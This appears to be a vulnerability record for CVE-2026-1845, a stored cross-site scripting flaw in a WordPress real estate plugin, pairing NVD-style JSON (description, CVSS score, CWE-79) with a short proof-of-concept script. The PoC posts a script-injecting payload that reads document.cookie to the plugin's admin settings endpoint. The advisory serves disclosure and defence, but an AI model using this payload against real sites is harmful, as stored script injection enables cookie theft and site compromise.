CVE-2026-1845

<!-- PoC for CVE-2026-1845 (Conceptual) Target: WordPress Real Estate Pro Plugin <= 1.0.9 Description: Injecting script via vulnerable admin setting field. --> <script> // Simulate a POST request to the vulnerable admin endpoint fetch('/wp-admin/admin.php?page=re-pro-settings', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, // 'vulnerable_field' represents the parameter lacking sanitization body: 'vulnerable_field="><script>alert(document.cookie)</script>&action=save' }).then(response => console.log('Payload injected successfully')); </script>

{"cve": {"id": "CVE-2026-1845", "sourceIdentifier": "[email protected]", "published": "2026-04-22T09:16:20.650", "lastModified": "2026-04-22T20:22:50.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Real Estate Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://wordpress.org/plugins/re-pro/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1978fd4f-f130-4e72-85df-24a6f9aebfe2?source=cve", "source": "[email protected]"}]}}